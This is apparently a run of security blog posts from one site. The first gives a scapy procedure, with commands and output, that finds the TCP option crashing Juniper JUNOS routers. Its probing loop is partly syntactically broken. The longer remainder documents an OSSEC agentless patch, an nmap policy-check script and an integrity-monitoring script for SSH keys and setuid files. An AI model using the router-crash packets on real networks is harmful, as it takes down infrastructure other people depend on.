On January 6th, we wrote about a JUNOS flaw that caused a kernel crash in Juniper routers and demonstrated the effect in action in a video. At the time Juniper was not making details of the advisory public, however since then PSN-2010-01-623 has shown up on the Open Source Vulnerability Database under entry 61538.

Following the Juniper kernel flaw posts, we received a number of inquiries regarding how to determine the option value to use, however we were somewhat reluctant to provide that level of detail. Now that exploit code has been published elsewhere, there is little reason not to answer this question.

To test all possible TCP options using scapy (a python based packet manipulation program), first download the latest copy of scapy (including all library dependencies) from their Mercurial code repository as shown below:

$ hg clone http://hg.secdev.org/scapy/
$ cd scapy
$ python setup build
$ sudo python setup install

Start scapy as root:

$ sudo run_scapy
INFO: Can't import python gnuplot wrapper . Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.1.0-dev)
>>> 

We started this particular test by first creating an IP packet with a destination of the Juniper test router instance named ‘ipl’.

>>> ipl = IP(dst="172.17.20.102")
>>> ipl
<IP  dst=172.17.20.102 |>

Initially we tested all TCP options as fast as possible just to see if it was possible to reproduce the reported vulnerability (a kernel crash that causes the router to reboot).

>>> send([ipl/TCP(dport=23, options=[(x, "")])/"bye bye" for x in range(256)])
................................................................................................................
................................................................................................................
................................
Sent 256 packets.

The previous command created 255 packets with every possible TCP option, sent them all at once, and the router crashed. While this performed as expected, it only told us that we were on the right track (the advisory was correct, an option setting crashes the router), however it does not tell us which option.

The scapy tool can send a ping following each test packet to see if the router is still up and responding, as demonstrated:

>>> for x in range(255):
...    send(ipl/TCP(dport="22", options=[(x,"")])
...    if not sr1(/ICMP(), retry=-1, timeout=1, verbose=0):
...         print "we have a winner: %s"%(x)
...         break
...
we have a winner: 101

Now that we have a winner, we know which option value caused the kernel crash Juniper reported.

Related Posts:

• IEPeers – A New Internet Explorer Zero Day Vulnerability
• Press F1 for Help, pwned.
• The “Aurora” IE Exploit Used Against Google in Action
• Windows 7 SMB Kernel Crash Video
• JUNOS (Juniper) Kernel Crash Video

Related Posts:

• Microsoft IE 6 & 7 Zero-day (Aside)
• Microsoft Posts Advanced Notification for Out of Band Patch
• SMB Bug won’t be patched in January
• Taxonomy of Forensics Geeks
• Replace watch.swf with warp.swf on YouTube

In working with OSSEC agentless for some time now I have come across some limitations in the implementation that I felt needed to be addressed. As OSSEC agentless is designed to preform syscheck functions on remote hosts, more general features are hard (if not impossible) to write into a script.

Currently in OSSEC, agentless scripts are limited to the following commands:

Given the choices listed here more advanced agentless scripts are just not reasonably possible. I require the ability to pass more information to the OSSEC agentless process and have it raise alerts based on this information.

Solution patch OSSEC

So I starting digging into the OSSEC code. I am not a C coder, I don’t even play one on TV, but the OSSEC’s code is clear and has just enough comments to allow me to understand how things function. Once I saw where the communication happens between ossec-agentless and it’s subprocess I was quickly able to add a new OSSEC Agentless Command.

This simple command allow scripts to generate messages that will get processed by the standard OSSEC decoders and rules.

• Direct download of patch: agentless.patch.txt

Patching OSSEC

The patch I created works with the current code release of OSSEC. To apply the patch, first download OSSEC version 2.2 from the website. In the instructions below, I have changed to the tmp directory first as we will be removing the source files once we have finished the install.

obsd46# cd /tmp 
obsd46# ftp http://www.ossec.net/files/ossec-hids-2.2.tar.gz
Trying 75.126.165.213...
Requesting http://www.ossec.net/files/ossec-hids-2.2.tar.gz
100% |******************************************************************|   692 KB    00:03    
Successfully retrieved file.

Now expand the downloaded archive and change into the newly created directory ossec-hids-2.2.

obsd46# tar xfz ossec-hids-2.2.tar.gz                                                                                                                                                   
obsd46# cd ossec-hids-2.2       

This is where most of the work will happen, but first we need to download the patch.

obsd46# ftp http://praetorianprefect.com/wp-content/uploads/2009/11/agentless.patch.txt                             
Trying 75.101.150.229...
Requesting http://praetorianprefect.com/wp-content/uploads/2009/11/agentless.patch.txt
100% |******************************************************************| 10278       00:00    
Successfully retrieved file.

Now we just apply the patch. We will use the patch command do this, but using the argument -p1 to apply the patch cleanly to all sub-directories.

obsd46# patch -p1 < agentless.patch.txt  
Hmm... this looks like a unified diff to me...
The text leading up to this was:
 |-------------------------
 |diff -r 55072a52aaa4 -r 673c04be67e9 etc/decoder.xml
 |--- a/etc/decoder.xml  Wed Nov 04 20:51:36 2009 -0500
 |+++ b/etc/decoder.xml  Fri Nov 06 19:53:36 2009 +0000
 |-------------------------
Patching file etc/decoder.xml using Plan A...
Hunk #1 succeeded at 70.
Hunk #2 succeeded at 1498.
Hmm...  The next patch looks like a unified diff to me...
The text leading up to this was:
 |-------------------------
 |diff -r 55072a52aaa4 -r 673c04be67e9 etc/rules/agentless_rules.xml
 |--- /dev/null  Thu Jan 01 00:00:00 1970 +0000
 |+++ b/etc/rules/agentless_rules.xml    Fri Nov 06 19:53:36 2009 +000 0
 |-------------------------
(Creating file etc/rules/agentless_rules.xml...)
Patching file etc/rules/agentless_rules.xml using Plan A...
Empty context always matches.
Hunk #1 succeeded at 1.
Hmm...  The next patch looks like a unified diff to me...
The text leading up to this was:
 |-------------------------
 |diff -r 55072a52aaa4 -r 673c04be67e9 etc/rules/ossec_rules.xml
 |--- a/etc/rules/ossec_rules.xml        Wed Nov 04 20:51:36 2009 -0500
 |+++ b/etc/rules/ossec_rules.xml        Fri Nov 06 19:53:36 2009 +0000
 |-------------------------
Patching file etc/rules/ossec_rules.xml using Plan A...
Hunk #1 succeeded at 153.
Hmm...  The next patch looks like a unified diff to me...
The text leading up to this was:
 |-------------------------
 |diff -r 55072a52aaa4 -r 673c04be67e9 etc/templates/config/rules.template
 |--- a/etc/templates/config/rules.template      Wed Nov 04 20:51:36 2009 -0500
 |+++ b/etc/templates/config/rules.template      Fri Nov 06 19:53:36 2009 +0000
 |-------------------------
Patching file etc/templates/config/rules.template using Plan A...
Hunk #1 succeeded at 44.
Hmm...  The next patch looks like a unified diff to me...
The text leading up to this was:
 |-------------------------
 |diff -r 55072a52aaa4 -r 673c04be67e9 src/agentlessd/scripts/nmap_policy
 |--- /dev/null  Thu Jan 01 00:00:00 1970 +0000
 |+++ b/src/agentlessd/scripts/nmap_policy       Fri Nov 06 19:53:36 2009 +0000
 |-------------------------
(Creating file src/agentlessd/scripts/nmap_policy...)
Patching file src/agentlessd/scripts/nmap_policy using Plan A...
Empty context always matches.
Hunk #1 succeeded at 1.
done 

Now we have a completed all the OSSEC 2.2 code patches for the expanded agentless features. At this point you will need to compile and install OSSEC. For full details the main OSSEC website covers this topic in more detail. A key thing to note here is that OSSEC has to be installed as a server or locally.

Please see my article on how to enable OSSEC agentless monitoring.

Making use of the new features

Now that we have a patched and installed version of OSSEC we can take advantage of the newly added features. Included with the patch is a new Agentless OSSEC script nmap_policy. This script is really not designed for production use, rather it’s geared to show how to use the new agentless features.

Let’s get into the details. Start by running the new script and looking at the output. I should note that this script uses python and needs at least version 2.5 in order to parse the xml output from nmap.

obsd45# (cd /var/ossec && ./agentless -b 21,23,80 -n 172.17.20.20/32 )
INFO: Starting
INFO: running `nmap -p 21,23,80 -oX - 172.17.20.0/24` command
INFO: completed `nmap -p 21,23,80 -oX - 172.17.20.0/24` command
LOG:alert=11 Policy violation port 80 (http) is open on host 172.17.20.1 (00:0E:83:A9:E6:80 Cisco Systems)
LOG:alert=11 Policy violation port 23 (telnet) is open on host 172.17.20.1 (00:0E:83:A9:E6:80 Cisco Systems)
LOG:alert=11 Policy violation port 80 (http) is open on host 172.17.20.19 (00:18:8B:1E:27:A5 Dell)
LOG:alert=11 Policy violation port 80 (http) is open on host 172.17.20.20 (00:0C:29:84:72:11 VMware)
LOG:alert=11 Policy violation port 21 (ftp) is open on host 172.17.20.20 (00:0C:29:84:72:11 VMware)
LOG:alert=11 Policy violation port 80 (http) is open on host 172.17.20.21 (00:0C:29:8D:39:E4 VMware)
LOG:alert=11 Policy violation port 21 (ftp) is open on host 172.17.20.21 (00:0C:29:8D:39:E4 VMware)
LOG:alert=11 Policy violation port 80 (http) is open on host 172.17.20.31 (00:0C:29:29:CF:35 VMware)
LOG:alert=11 Policy violation port 80 (http) is open on host 172.17.20.32 (00:0C:29:58:5F:C1 VMware)
LOG:alert=11 Policy violation port 80 (http) is open on host 172.17.20.57 (00:1E:0B:9D:C0:03 Hewlett Packard)
LOG:alert=11 Policy violation port 80 (http) is open on host 172.17.20.91 (00:14:38:D8:01:DD Hewlett Packard)
LOG:alert=11 Policy violation port 21 (ftp) is open on host 172.17.20.134 (00:1E:C2:03:2D:E8 Apple)
LOG:alert=11 Policy violation port 80 (http) is open on host 172.17.20.202 (00:19:B9:24:7E:F2 Dell)
LOG:alert=11 Policy violation port 80 (http) is open on host 172.17.20.203 (00:19:B9:24:7E:F2 Dell)
INFO: Ending

So what this script does is run nmap and looks for ports that are open and not allowed per an internal policy. In this example I checked for http, telnet, and ftp, but the selection of ports is configurable with the -b/--badport arguments. The second argument -n/--network is used to specify which IP addresses to scan. The format of this option is very liberal, in fact any valid nmap network specification will work.

Just as I specified above any string following the LOG: OSSEC agentless command will be pushed to the ossec-analysisd process for decoding and rules filtering.

As part of the patch I have also included an updated decode.xml and a new agentless_rules.xml to begin the first level of processing of output from the scripts. Using ossec-logtest we can see this in action, but due to how ossec-agentlessd processes the messages we need to slightly modify the output for it to work with ossec-logtest.

obsd46# (cd /var/ossec && ./bin/ossec-logtest )                                                                                                                                                            
2009/11/06 20:48:28 ossec-testrule: INFO: Started (pid: 9789).
ossec-testrule: Type one log per line.

Agentless: Log:alert=11 Policy violation port 80 (http) is open on host 172.17.20.1 (00:0E:83:A9:E6:80 Cisco Systems)


**Phase 1: Completed pre-decoding.
       full event: 'Agentless: Log:alert=11 Policy violation port 80 (http) is open on host 172.17.20.1 (00:0E:83:A9:E6:80 Cisco Systems)'
       hostname: 'a'
       program_name: '(null)'
       log: 'Agentless: Log:alert=11 Policy violation port 80 (http) is open on host 172.17.20.1 (00:0E:83:A9:E6:80 Cisco Systems)'

**Phase 2: Completed decoding.
       decoder: 'agentless'
       id: '11'
       extra_data: 'Policy violation port 80 (http) is open on host 172.17.20.1 (00:0E:83:A9:E6:80 Cisco Systems)'

**Phase 3: Completed filtering (rules).
       Rule id: '10011'
       Level: '11'
       Description: 'Agentless.'
**Alert to be generated.

You can see from the output that a level 11 alert would be generated for the line we just tested with ossec-logtest. In the case of the full output of the nmap_policy script it has 13 LOG: lines returned and would have generated 13 alerts. Needless to say this is a lot of alerts, so it’s up to you to tune and configure this correctly for your environment.

In our lab here at Praetorian we don’t ever want to see the telnet port open. So lets make this script live, but only checking for telnet. I am going to once again make use of ossec-hids-tools to add the new agentless monitoring. As is always the case a restart of OSSEC will be needed.

obsd46# ossec-config --section agentless --add --host jrossi@172.17.20.0 --type nmap_policy 
--frequency 86400 --state periodic --argv "-p 23 -n 172.17.20.0/24"
obsd46# (cd /var/ossec && ./bin/ossec-control restart )

While adding this new agentless script I had to specify a --host argument. This is required for OSSEC agentless as the host field is NOT optional. In the case of the script nmap_policy it will have no effect, but this needs to be taken into account when writing your own scripts as the first argument passed will always be what you specified as the host.

Related Posts:

• March’s Patch Tuesday
• The “Aurora” IE Exploit Used Against Google in Action
• Scareware Purveyors, Spammers, and Crooks Take Advantage of Haiti Earthquake
• Baidu.com the Latest Victim of Iranian CyberArmy
• JUNOS (Juniper) Flaw Exposes Core Routers to Kernel Crash

Table of Contents

• Agentless Scripts

  • Periodic diff Specification
  • Periodic Specification
• Agentless Script: ssh_integrity_check_linux

• Our own Agentless Script: ssh_dmz_linux

  • Finding all setuid and setgid files
  • Finding all authentication and applications specific files
  • Merging finds
  • Creating ssh_dmz_linux
  • Testing

Agentless Scripts

All scripts that work with OSSEC agentless security monitoring use stdout for communication and reporting to the OSSEC server. This makes writing scripts for OSSEC simple as you do not need to do anything more then print or echo to stdout. The format of the output does need to meet the OSSEC specification, but that is a very simple thing to do.

Before we move to the specification details I need to explain that OSSEC agentless runs to different types of scripts. Namely the following:

Periodic diff Specification

The output for periodic_diff is very simple, any and all output after the agentless command “STORE: now” and before the next OSSEC Command will be stored and compared for differences. This type of script is mostly used for hardware devices such as Cisco IOS, Juniper JunOS, and other products.

Scripts that use the periodic_diff make use of the following commands:

Here is an example of a periodic_diff script that comes with OSSEC. (Please note with all agentless scripts you must be in the root of the OSSEC install for them to function correctly.)

obsd46#( cd /var/ossec && ./agentless/ssh_pixconfig_diff cisco@172.17.0.1 'show hardware' )
spawn ssh -c des cisco@172.17.0.1
No valid ciphers for protocol version 2 given, using defaults.
Password: 

a.zfw.tss>INFO: Starting.
enable
Password: 
a.zfw.tss#ok on enable pass

STORE: now
no pager
             ^
% Invalid input detected at '^' marker.

a.zfw.tss#term len 0
a.zfw.tss#terminal pager 0
                     ^
% Invalid input detected at '^' marker.

a.zfw.tss#show version | grep -v Configuration last| up
                         ^
% Invalid input detected at '^' marker.

a.zfw.tss#show running-config
Building configuration...


Current configuration : 14631 bytes
!
version 12.4

[................SNIP CONFIG.................]

a.zfw.tss#show hardware
Cisco IOS Software, 3800 Software (C3845-ADVENTERPRISEK9-M), Version 12.4(24)T1, RELEASE SOFTWARE (fc3)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2009 by Cisco Systems, Inc.
Compiled Fri 19-Jun-09 19:21 by prod_rel_team

ROM: System Bootstrap, Version 12.3(11r)T2, RELEASE SOFTWARE (fc1)

a.zfw.tss uptime is 1 week, 5 days, 7 hours, 29 minutes
System returned to ROM by reload at 13:34:26 UTC Thu Oct 22 2009
System image file is "flash:c3845-adventerprisek9-mz.124-24.T1.bin"


This product contains cryptographic features and is subject to United
States and local country laws governing import, export, transfer and
use. Delivery of Cisco cryptographic products does not imply
third-party authority to import, export, distribute or use encryption.
Importers, exporters, distributors and users are responsible for
compliance with U.S. and local country laws. By using this product you
agree to comply with applicable laws and regulations. If you are unable
to comply with U.S. and local laws, return this product immediately.

A summary of U.S. laws governing Cisco cryptographic products may be found at:

http://www.cisco.com/wwl/export/crypto/tool/stqrg.html

If you require further assistance please contact us by sending email to
export@cisco.com.

Cisco 3845 (revision 1.0) with 1007615K/40960K bytes of memory.
Processor board ID FTX1043A2CR
2 Gigabit Ethernet interfaces
1 ATM interface
1 Virtual Private Network (VPN) Module
4 CEM T1/E1 ports
DRAM configuration is 64 bits wide with parity enabled.
479K bytes of NVRAM.
492015K bytes of USB Flash usbflash0 (Read/Write)
62720K bytes of ATA System CompactFlash (Read/Write)

Configuration register is 0x2102


a.zfw.tss#exit
Connection to 172.17.0.1 closed by remote host.
Connection to 172.17.0.1 closed.

INFO: Finished.

In this example above the script would store the contents between “STORE: now” and “INFO: Finished.“. If this is the first time that OSSEC agentless has run this command no alerts would be generated and the contents would have been saved for later comparisons. If OSSEC agentless has a stored copy from a previous execution it will compare the files and if there are any differences it will generate an alert.

Periodic Specification

The periodic specification has more options and gives more control to the script writer on what actions OSSEC will take. Once again stdout is used for communication so script writing is easy.

Example of real FWD: command.

FWD: 19419:600:0:0:fb30de5b02029950ae05885a3d407c8c:017cd6118cdc166ee8eba8af1b7fdad6763203d3 ./.bash_history

The Fields break down in to the following

Using this format OSSEC can store the information about a file and then in the future run compare that they are the same. If for some reason they are not the same an alert will be generated. Here is an example of a password change on a linux system:

OSSEC HIDS Notification.
2009 Sep 21 15:19:00

Received From: (ssh_integrity_check_linux) root@172.17.20.20->syscheck
Rule: 550 fired (level 7) -> "Integrity checksum changed."
Portion of the log(s):

Integrity checksum changed for: '/etc/shadow'
Old md5sum was: '0d92e12c92f3edcf9d8876ea57c5f677'
New md5sum is : '2bd51b61dea17c5682fb2c0cf4f92c63'
Old sha1sum was: '2270c03a920ef8dd50e11cefdef046a8660f7a29'
New sha1sum is : 'd9518ea9022b10d07f81925c6d7f2abb4364b548'

--END OF NOTIFICATION

Agentless Script: ssh_integrity_check_linux

Now that we have an understanding of how agentless scripts communicate with the parent OSSEC preocess, let’s move on to a working example. The OSSEC supplied script ssh_integrity_check_linux is a great place to start, so lets open it up and see what is going on.

obsd46# cat /var/ossec/agentless/ssh_integrity_check_linux
 #!/usr/bin/env expect

 # @(#) $Id: ssh_integrity_check_linux,v 1.11 2009/06/24 17:06:21 dcid Exp $
 # Agentless monitoring
 #
 # Copyright (C) 2009 Trend Micro Inc.
 # All rights reserved.
 #
 # This program is a free software; you can redistribute it
 # and/or modify it under the terms of the GNU General Public
 # License (version 3) as published by the FSF - Free Software
 # Foundation.


 # Main script.
source "agentless/main.exp"


 # SSHing to the box and passing the directories to check.
if [catch {
    spawn ssh $hostname
} loc_error] {
    send_user "ERROR: Opening connection: $loc_error.\n"
    exit 1;
}


source $sshsrc
source $susrc

set timeout 600
send "echo \"INFO: Starting.\"; for i in `find $args 2>/dev/null`;do tail \$i >/dev/null 2>&1 && 
md5=`md5sum \$i | cut -d \" \" -f 1` && sha1=`sha1sum \$i | cut -d \" \" -f
 1` && echo FWD: `stat --printf \"%s:%a:%u:%g\" \$i`:\$md5:\$sha1 \$i; done; exit\r"
send "exit\r"

expect {
    timeout {
        send_user "ERROR: Timeout while running commands on host: $hostname .\n"
        exit 1;
    }
    eof {
        send_user "\nINFO: Finished.\n"
        exit 0;
    }
}

exit 0;

The comments in the script hints to what is going on, but everything up to and including set timeout 600 is related to setting up the expect functions and code for handling the ssh subprocess and connecting to the remote host. I am not going to spend any time with this section, I am just going to make use of it.

The meat of what is getting processed on the remote end all happens in two lines.

send "echo \"INFO: Starting.\"; for i in `find $args 2>/dev/null`;do tail \$i >/dev/null 2>&1 && 
md5=`md5sum \$i | cut -d \" \" -f 1` && sha1=`sha1sum \$i | cut -d \" \" -f
 1` && echo FWD: `stat --printf \"%s:%a:%u:%g\" \$i`:\$md5:\$sha1 \$i; done; exit\r"
send "exit\r"

Let’s break this down to see what is happening.

The send command pushes the following string to the ssh subprocess which gets run on the remote end of the connection. Before the script is sent to the remote host expect internally processes the string. This includes searching for variables and removing any control characters.

The control characters are first taken into account, and in the case of our example all escaped special characters are processed. \", \r, and \$ would be replaced with ", “carriage return“, and & respectively. The reason the escape characters are needed so that they will not interfere with expects own string processing and control. We will need to handle control characters in this way when we begin writing our own script.

While special characters were being handled by expect it also looked for variables to replace, in this case it will find $args and replace it with what ever arguments were passed to the script by the OSSEC agentless process. If we specified the following in /var/ossec/etc/ossec.conf the $args variable would be replaced with “/bin /etc /sbin“.

  <agentless>
    <type>ssh_integrity_check_linux</type>
    <frequency>3600</frequency>
    <host>root@172.17.20.20</host>
    <state>periodic</state>
    <arguments>/bin /etc /sbin</arguments>
  </agentless>

Back to the commands that get run. Once expect has completed replacement we are left with this command.

echo "INFO: Starting."; for i in `find /bin /etc /sbin 2>/dev/null`;do tail $i >/dev/null 2>&1 && 
md5=`md5sum $i | cut -d " " -f 1` && sha1=`sha1sum $i | cut -d " " -f
 1` && echo FWD: `stat --printf "%s:%a:%u:%g" $i`:$md5:$sha1 $i; done; exit
exit

This script then goes and uses the Unix find command to locate all files in the specified path (from the arguments passed) and generates an OSSEC FWD: command for each one and prints it to stdout. Making use of the commands stat, md5sum, and sha1sum to generate the data needed. Here is an example of the output checking.

spawn ssh root@172.17.20.20
Last login: Wed Nov  4 11:32:51 2009 from 172.17.20.131^M
[linux26 ~]# 
INFO: Started.
echo "INFO: Starting."; for i in `find {/bin /etc /sbin} 2>/dev/null`;do tail $i >/dev/null 2>&1 && 
md5=`md5sum $i | cut -d " " -f 1` && sha1=`sh a1sum $i | cut -d " " -f
 1` && echo FWD: `stat --printf "%s:%a:%u:%g" $i`:$md5:$sha1 $i; done; exit
INFO: Starting.
FWD: 833:644:0:0:4148adea745af5121963f6b731b60013:60877a6f6981b16c0d53d32bcd3f07d41cfb5bd4 /etc/modprobe.d/
glib2.sh
[...........SNIP............]
FWD: 1696:644:0:0:c2bd306b205ad9e81fb02ce6b225d384:5244d65815cb228a4fac7bc4c1c7774508fb7505 /etc/nsswitch.conf
FWD: 85179:644:0:0:8db574225cd1068b47e77ceccd96f8ff:b5ef6183b35ee9d1b66ed2cefe98003c5bd99192 /etc/sensors.conf
FWD: 49:644:0:0:52c3df2f1edf30ca3db82174be3a68d2:1934648f2429b70b1f729d343a6956fb0ea73136 /etc/php.d/imap.ini
FWD: 873:644:0:0:04559d1fe27ecd079b69df8b319f937e:e5cab1bf1f9e4bc4386309f4e00a9b7be3e543a2 /etc/php.d/memcache.ini
FWD: 59:644:0:0:94636ba6c4bac9d8d49d9de1a513ae0c:41d5164a2c6e332e40edf55c59a2d0df8a260964 /etc/php.d/pdo_mysql.ini
FWD: 49:644:0:0:917dbbafbfaaa20f660063d627123dae:0e829d4ffc69f58dc258510b4b8452412e31ccc5 /etc/php.d/json.ini
FWD: 0:644:0:0:d41d8cd98f00b204e9800998ecf8427e:da39a3ee5e6b4b0d3255bfef95601890afd80709 /etc/wvdial.conf
logout
Connection to 172.17.20.20 closed.

INFO: Finished.

Our own Agentless Script: ssh_dmz_linux

Using the built in OSSEC agentless scripts are great, but sometimes we need more focused scanning and checking. So let’s modify the ssh_integrity_check_linux for our environment.

The goals for this new script will be to watch for changes to files based on the following criteria:

• All setuid and setgid files
• All files related to authentication (including .htaccess and ssh files)
• All application specific files (apache, ssh)

Finding all setuid and setgid files

Let’s first start by identifying a method to locate all files with their setuid or setgid bits enabled. To do this we will ssh to the host 172.17.20.20 and use find to locate the files.

obsd46# sudo -u ossec ssh root@172.17.20.20
[linux26 ~]# find / -type f \( -perm -4000 -o -perm -2000 \) 
/sbin/umount.nfs
/sbin/netreport
/sbin/unix_chkpwd
/sbin/mount.nfs
/sbin/pam_timestamp_check
/sbin/mount.nfs4
/sbin/umount.nfs4
/bin/ping6
/bin/su
/bin/umount
/bin/ping
/bin/mount
/lib/dbus-1/dbus-daemon-launch-helper
/usr/libexec/openssh/ssh-keysign
/usr/libexec/utempter/utempter
/usr/sbin/usernetctl
/usr/sbin/postqueue
/usr/sbin/userhelper
/usr/sbin/userisdnctl
/usr/sbin/postdrop
/usr/sbin/suexec
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/locate
/usr/bin/wall
/usr/bin/sudoedit
/usr/bin/gpasswd
/usr/bin/lockfile
/usr/bin/newgrp
/usr/bin/write
/usr/bin/screen
/usr/bin/passwd
/usr/bin/chage
/usr/bin/sperl5.8.8
/usr/bin/crontab
/usr/bin/ssh-agent

Finding all files related to authentication and applications specific files

Finding all files with setuid and setgid was simple, but finding all files related to authentication is more invloved. This of course will vary from system to system, but this should be good starting point.

obsd46# sudo -u ossec ssh root@172.17.20.20
[linux26 ~]# find / \( -name ".ssh" -o -name "ssh" -o -name "sshd" -o -name "httpd" -o -name ".htaccess" 
-o -name "pam.d" \) -exec find {} \;
/var/www/html/admin/modules/framework/var/www/html/admin/modules/.htaccess
/etc/httpd
/etc/httpd/conf
/etc/httpd/conf.d
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/proxy_ajp.conf
/etc/httpd/conf.d/README
/etc/httpd/conf.d/ssl.conf
/etc/httpd/conf.d/welcome.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/conf/magic
/etc/httpd/logs
/etc/httpd/modules
/etc/httpd/run
/etc/logrotate.d/httpd
/etc/pam.d
/etc/pam.d/authconfig
[...................SNIP PAM Files.....................]
/etc/pam.d/system-config-network-cmd
/etc/pam.d/vsftpd
/etc/rc.d/init.d/httpd
/etc/rc.d/init.d/sshd
/etc/ssh
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_rsa_key.pub
/etc/sysconfig/httpd
/root/.ssh
/root/.ssh/authorized_keys
/usr/bin/ssh
/usr/lib/httpd
/usr/lib/httpd/modules
/usr/lib/httpd/modules/libphp5.so
[...................SNIP Apache modules................]

/usr/lib/httpd/modules/mod_vhost_alias.so
/usr/sbin/httpd
/usr/sbin/sshd
/usr/src/tbm-pbxconfig-5.5.1/amp_conf/htdocs/admin/modules/framework/htdocs/admin/modules/.htaccess
/usr/src/tbm-pbxconfig-5.5.1/amp_conf/htdocs/admin/modules/.htaccess
/var/empty/sshd
/var/empty/sshd/etc
/var/empty/sshd/etc/localtime
/var/www/html/admin/modules/framework/var/www/html/admin/modules/.htaccess
/var/www/html/admin/modules/.htaccess

Merging finds

Now we have two basic find methods that identify the files we want to monitor for changes, but our finds were a little greedy so we should create a way to strip out unwanted files from the list. As this is a unix system egrep is the king for finding or removing items from a list. To simplify things we can use egrep with the -v command line argument which tells egrep NOT to print any matching items.

Just to make sure that we do not end up double processing files we can make use of the sort command with -u argument to remove any duplicates.

Here is how we would put together both finds, egrep, and sort to locate and filter what is needed.

(find / -type f \( -perm -4000 -o -perm -2000 \) && \find / \( -name ".ssh" -o -name "ssh" -o -name "sshd" 
-o -name "httpd" -o -name ".htaccess" -o -name "pam.d" \) -exec find {} \; ) 2>/dev/null | egrep 
-v "known_hosts|moduli|var\/log|var\/lock" | sort -u

The above command we have found all files and paths that we would like to monitor, but this still needs to be integrated into a script on the OSSEC server.

Creating ssh_dmz_linux

We don’t want to make changes to ssh_integrity_check_linux directly so we will need to make a copy.

obsd46# (cd /var/ossec/agentless && cp ssh_integrity_check_linux ssh_dmz_linux)

Integrating our new command line into the script we must pay close attention to special characters that expect will process. Due to this we will need to escape all / and " by proceeding them with \. Once we are done escaping we just insert our new line in place of find $args 2>/dev/null in our new file.

Here is what the completed script will look like.

obsd56# cat /var/ossec/agentless/ssh_dmz_linux
 #!/usr/bin/env expect

 # @(#) $Id: ssh_integrity_check_linux,v 1.11 2009/06/24 17:06:21 dcid Exp $
 # Agentless monitoring
 #
 # Copyright (C) 2009 Trend Micro Inc.
 # All rights reserved.
 # 
 # This program is a free software; you can redistribute it
 # and/or modify it under the terms of the GNU General Public
 # License (version 3) as published by the FSF - Free Software
 # Foundation.


 # Main script.
source "agentless/main.exp"


 # SSHing to the box and passing the directories to check.
if [catch {
    spawn ssh $hostname
} loc_error] {
    send_user "ERROR: Opening connection: $loc_error.\n"
    exit 1;
}


source $sshsrc
source $susrc

set timeout 600
send "echo \"INFO: Starting.\"; for i in `(find / \\( -name \".ssh\" -o -name \"ssh\" -o -name \"sshd\" 
-o -name \"httpd\" -o -name \".htaccess\" -o -name \"pam.d\" \\) -exec find {} \\; && find / -type f 
\\( -perm -4000 -o -perm -2000 \\); ) 2>/dev/null | egrep -v \"known_hosts|moduli|var\\/log|var\\/lock\" | sort -u`;
do tail \$i >/dev/null 2>&1 && md5=`md5sum \$i | cut -d \" \" -f 1` && sha1=`sha1sum \$i | cut -d \" \" 
-f 1` && echo FWD: `stat --printf \"%s:%a:%u:%g\" \$i`:\$md5:\$sha1 \$i; done; exit\r"
send "exit\r"

expect {
    timeout {
        send_user "ERROR: Timeout while running commands on host: $hostname .\n"
        exit 1;
    }
    eof {
        send_user "\nINFO: Finished.\n"
        exit 0;
    }
}

exit 0;

Testing

Before we add this new script to OSSEC configuration we need to test it.

obsd46# (cd /var/ossec && sudo -u ossec ./agentless/ssh_dmz_linux root@172.17.20.20 )

ERROR: ssh_integrity_check <hostname> <arguments>

Due to not making use of the of the $arg variable in the way that ssh_integrity_check_linux wants use too, this caused this the problem above. Solving this problem would require making changes to files that will effect other built in scripts. So a quick solution is to just pass anything as an argument to the script. This will have no effect on our script as we do not make use of the $arg variable.

obsd46# (cd /var/ossec && sudo -u ossec ./agentless/ssh_dmz_linux root@172.17.20.20 NOTUSED)
spawn ssh root@172.17.20.20
Last login: Wed Nov  4 13:46:32 2009 from 172.17.20.131^M
[linux26 ~]#  
INFO: Started.
echo "INFO: Starting."; for i in `(find / \( -name ".ssh" -o -name "ssh" -o -name "sshd" -o -name "httpd" 
-o -name ".htaccess" -o -name "pam.d" \)  -exec find {} \; && find / -type f \( -perm -4000 -o -perm -2000 
\); ) 2>/dev/null | egrep -v "known_hosts|moduli|var\/log|var\/lock"`;do tail $i >/dev/null 2>&1 &&
 md5=`md5s ^Mum $i | cut -d " " -f 1` && sha1=`sha1sum $i | cut -d " " -f 1` && echo FWD: `stat --printf 
"%s:%a:%u:%g" $i`:$md5:$sha1 $i; done; exit
INFO: Starting.
FWD: 14:775:100:101:3bc0a3e92f8170084dd102eda9a474b1:25a1783a3c6bdd9745ec245ec1bfa0414ee05d23 /var/www/html/admin/modules/.htaccessmodules/.htaccess
FWD: 3519:644:0:0:e4ca381035a34b7a852184cc0dd89baa:6e43d0b5a46ed5ba78da5c7e9dcf319b27d769e7 /var/empty/sshd/etc/localtime
FWD: 560:644:0:0:58370830ecfa056421ad21aff9c18905:d115bb5aeefaab97c53fbbd5df84ebcb9170d796 /etc/httpd/conf.d/php.conf
[...................SNIP.............................]
FWD: 392:644:0:0:e92bea7e9d70a9ecdc61edd7c0a2f59a:d77b61dac010c60589b4d8a2039e3b8a5bed18b2 /etc/httpd/conf.d/README
FWD: 70888:4711:0:0:9046bd13339e7ef22266067b633e601a:3fc41029ddb14fe4ed613f479fa9e89c944f04dd /usr/bin/sperl5.8.8
FWD: 315416:6755:0:0:4c63a9709fb7f0f97c30aa29d204859c:c379efa658de72866b8f6de5767906ff78d127b0 /usr/bin/crontab
FWD: 88964:2755:0:99:baf3ebef6377d6ef42858776c33621b0:62394bf57d18c3fd49adeb39a1da61661cabc3c8 /usr/bin/ssh-agent
logout
Connection to 172.17.20.20 closed.

INFO: Finished.

Going live

We have created a new OSSEC agentless script and I am going to enable this script using the ossec-hids-tools that I introduced in my last post about ossec (OSSEC: Agentless to save the day). Also a restart of OSSEC will also be needed for the changes to take effect.

obsd46# ossec-config --section agentless --add --host root@172.17.20.20 --type ssh_dmz_linux 
--state periodic --argv "NOTUSED"
